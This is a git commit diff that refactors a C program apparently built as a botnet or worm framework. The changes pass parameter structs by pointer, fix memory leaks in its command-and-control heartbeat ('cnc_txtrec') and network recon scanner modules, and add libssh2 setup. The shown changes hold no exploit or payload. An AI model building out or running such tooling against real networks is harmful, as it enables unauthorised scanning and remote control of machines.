diff options
author | David Timber <mieabby@gmail.com> | 2020-09-15 20:04:13 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-15 20:04:13 +0930 |
commit | ca0c9a60b0f7dc823ff01f77fc00458ab4a13532 (patch) | |
tree | f361382866540b5666a74084133cd2fb51f16e71 | |
parent | d06a39d44741355e96ee96d8f760b995f35abaed (diff) |
* Code consistency - take *_param_t as pointer
* Fix *_param_t leak and memory error
-rw-r--r-- | src/htbt.c | 18 | ||||
-rw-r--r-- | src/htbt.h | 2 | ||||
-rw-r--r-- | src/proone-htbthost.c | 2 | ||||
-rw-r--r-- | src/proone-recon.c | 6 | ||||
-rw-r--r-- | src/proone.c | 5 | ||||
-rw-r--r-- | src/recon.c | 70 | ||||
-rw-r--r-- | src/recon.h | 2 |
7 files changed, 64 insertions, 41 deletions
@@ -2435,22 +2435,23 @@ static void free_htbt_wkr_ctx (void *p) { prne_close(ctx->lbd.fd); htbt_lbd_empty_conn_list(ctx); prne_free_llist(&ctx->lbd.conn_list); + prne_htbt_free_param(&ctx->param); prne_free(p); } prne_htbt_t *prne_alloc_htbt ( prne_worker_t *w, - const prne_htbt_param_t param) + const prne_htbt_param_t *param) { prne_htbt_t *ret = NULL; if (w == NULL || - param.cb_f.cnc_txtrec == NULL || - param.lbd_ssl_conf == NULL || - param.main_ssl_conf == NULL || - param.ctr_drbg == NULL || - param.blackhole < 0) + param->cb_f.cnc_txtrec == NULL || + param->lbd_ssl_conf == NULL || + param->main_ssl_conf == NULL || + param->ctr_drbg == NULL || + param->blackhole < 0) { errno = EINVAL; goto ERR; @@ -2461,7 +2462,7 @@ prne_htbt_t *prne_alloc_htbt ( goto ERR; } - ret->param = param; + prne_htbt_init_param(&ret->param); prne_init_llist(&ret->main.req_q); prne_init_llist(&ret->main.hover_req); ret->loop_flag = true; @@ -2479,7 +2480,7 @@ prne_htbt_t *prne_alloc_htbt ( prne_init_llist(&ret->lbd.conn_list); ret->lbd.fd = -1; - if (param.resolv != NULL) { + if (param->resolv != NULL) { ret->cncp.pth = pth_spawn( PTH_ATTR_DEFAULT, htbt_cncp_entry, @@ -2499,6 +2500,7 @@ prne_htbt_t *prne_alloc_htbt ( goto ERR; } + ret->param = *param; w->ctx = ret; w->entry = htbt_main_entry; w->fin = fin_htbt_wkr; @@ -32,7 +32,7 @@ struct prne_htbt_param { }; -prne_htbt_t *prne_alloc_htbt (prne_worker_t *w, const prne_htbt_param_t param); +prne_htbt_t *prne_alloc_htbt (prne_worker_t *w, const prne_htbt_param_t *param); void prne_htbt_init_param (prne_htbt_param_t *p); void prne_htbt_free_param (prne_htbt_param_t *p); diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c index a407253..96ceb9f 100644 --- a/src/proone-htbthost.c +++ b/src/proone-htbthost.c @@ -468,7 +468,7 @@ int main (const int argc, const char **args) { param.blackhole = open("/dev/null", O_WRONLY); w = wkr_arr + 1; - htbt = prne_alloc_htbt(w, param); + htbt = prne_alloc_htbt(w, ¶m); w->pth = pth_spawn(PTH_ATTR_DEFAULT, w->entry, w->ctx); prne_assert(htbt != NULL && w->pth != NULL); diff --git a/src/proone-recon.c b/src/proone-recon.c index d8aa7aa..7f996f2 100644 --- a/src/proone-recon.c +++ b/src/proone-recon.c @@ -156,7 +156,7 @@ static void evt_cb (const prne_net_endpoint_t *ep) { int main (const int argc, const char **args) { int ret = 0; prne_recon_param_t param; - FILE *conf_f; + FILE *conf_f = NULL; bool own_conf_f = false; prne_worker_t wkr; prne_recon_t *recon; @@ -251,10 +251,12 @@ int main (const int argc, const char **args) { } // alloc recon + param.ownership = false; recon = prne_alloc_recon( &wkr, &ctr_drbg, - prne_own_recon_param(¶m, false)); + ¶m); + param.ownership = true; if (recon == NULL) { perror("prne_alloc_recon()"); ret = 2; diff --git a/src/proone.c b/src/proone.c index 75c73f5..7f0ebf0 100644 --- a/src/proone.c +++ b/src/proone.c @@ -18,6 +18,7 @@ #include <mbedtls/sha256.h> #include <mbedtls/base64.h> +#include <libssh2.h> #include "config.h" #include "proone.h" @@ -212,7 +213,7 @@ static void alloc_htbt (void) { prne_g.htbt = prne_alloc_htbt( wkr_arr + wkr_cnt, - param); + ¶m); if (prne_g.htbt != NULL) { wkr_cnt += 1; } @@ -273,6 +274,7 @@ static int proone_main (void) { static int caught_sig; prne_assert(pth_init()); + prne_assert(libssh2_init(0) == 0); prne_g.main_pth = pth_self(); seed_ssl_rnd(true); @@ -302,6 +304,7 @@ static int proone_main (void) { free_workers(); pth_kill(); + libssh2_exit(); return 0; } diff --git a/src/recon.c b/src/recon.c index 882d863..de63ace 100644 --- a/src/recon.c +++ b/src/recon.c @@ -780,6 +780,7 @@ static void rcn_free_f (void *ctx_p) { prne_close(ctx->fd[RCN_IDX_IPV4][1]); prne_close(ctx->fd[RCN_IDX_IPV6][0]); prne_close(ctx->fd[RCN_IDX_IPV6][1]); + prne_free_recon_param(&ctx->param); prne_free(ctx); } @@ -816,7 +817,7 @@ static void rcn_create_rsck ( prne_recon_t *prne_alloc_recon ( prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg, - const prne_recon_param_t param) + const prne_recon_param_t *param) { prne_recon_t *ctx = NULL; int fd[RCN_NB_FD][2] = { @@ -825,9 +826,9 @@ prne_recon_t *prne_alloc_recon ( }; uint8_t seed[PRNE_RND_WELL512_SEEDLEN]; - if (param.target.cnt == 0 || - param.ports.cnt == 0 || - param.evt_cb == NULL) + if (param->target.cnt == 0 || + param->ports.cnt == 0 || + param->evt_cb == NULL) { errno = EINVAL; return NULL; @@ -844,7 +845,7 @@ prne_recon_t *prne_alloc_recon ( goto ERR; } - ctx->param = param; + prne_init_recon_param(&ctx->param); pth_mutex_init(&ctx->lock); pth_cond_init(&ctx->cond); prne_init_rnd(&ctx->rnd); @@ -862,6 +863,7 @@ prne_recon_t *prne_alloc_recon ( goto ERR; } + ctx->param = *param; wkr->ctx = ctx; wkr->entry = rcn_main_entry; wkr->fin = rcn_fin_f; @@ -925,33 +927,47 @@ bool prne_alloc_recon_param ( ports); } else { - prne_recon_param_t ny = *p; + void *arr_blist = prne_malloc( + sizeof(prne_recon_network_t), + blist); + void *arr_target = prne_malloc( + sizeof(prne_recon_network_t), + target); + void *arr_ports = prne_malloc(sizeof(uint16_t), ports); ret = - prne_own_realloc( - (void**)&ny.blist.arr, - &ny.ownership, - sizeof(prne_recon_network_t), - &ny.blist.cnt, - blist) && - prne_own_realloc( - (void**)&ny.target.arr, - &ny.ownership, - sizeof(prne_recon_network_t), - &ny.target.cnt, - target) && - prne_own_realloc( - (void**)&ny.ports.arr, - &ny.ownership, - sizeof(uint16_t), - &ny.ports.cnt, - ports); - + (blist > 0 && arr_blist == NULL) || + (target > 0 && arr_target == NULL) || + (ports > 0 && arr_ports == NULL); + ret = !ret; if (ret) { - *p = ny; + memcpy( + arr_blist, + p->blist.arr, + sizeof(prne_recon_network_t) * + prne_op_min(p->blist.cnt, blist)); + memcpy( + arr_target, + p->target.arr, + sizeof(prne_recon_network_t) * + prne_op_min(p->target.cnt, target)); + memcpy( + arr_ports, + p->ports.arr, + sizeof(uint16_t) * + prne_op_min(p->ports.cnt, ports)); + p->blist.arr = (prne_recon_network_t*)arr_blist; + p->blist.cnt = blist; + p->target.arr = (prne_recon_network_t*)arr_target; + p->target.cnt = target; + p->ports.arr = (uint16_t*)arr_ports; + p->ports.cnt = ports; + p->ownership = true; } else { - prne_free_recon_param(&ny); + prne_free(arr_blist); + prne_free(arr_target); + prne_free(arr_ports); } } diff --git a/src/recon.h b/src/recon.h index 068175f..0a00b6f 100644 --- a/src/recon.h +++ b/src/recon.h @@ -35,7 +35,7 @@ struct prne_recon_param { prne_recon_t *prne_alloc_recon ( prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg, - const prne_recon_param_t param); + const prne_recon_param_t *param); void prne_init_recon_param (prne_recon_param_t *p); void prne_free_recon_param (prne_recon_param_t *p); bool prne_alloc_recon_param ( |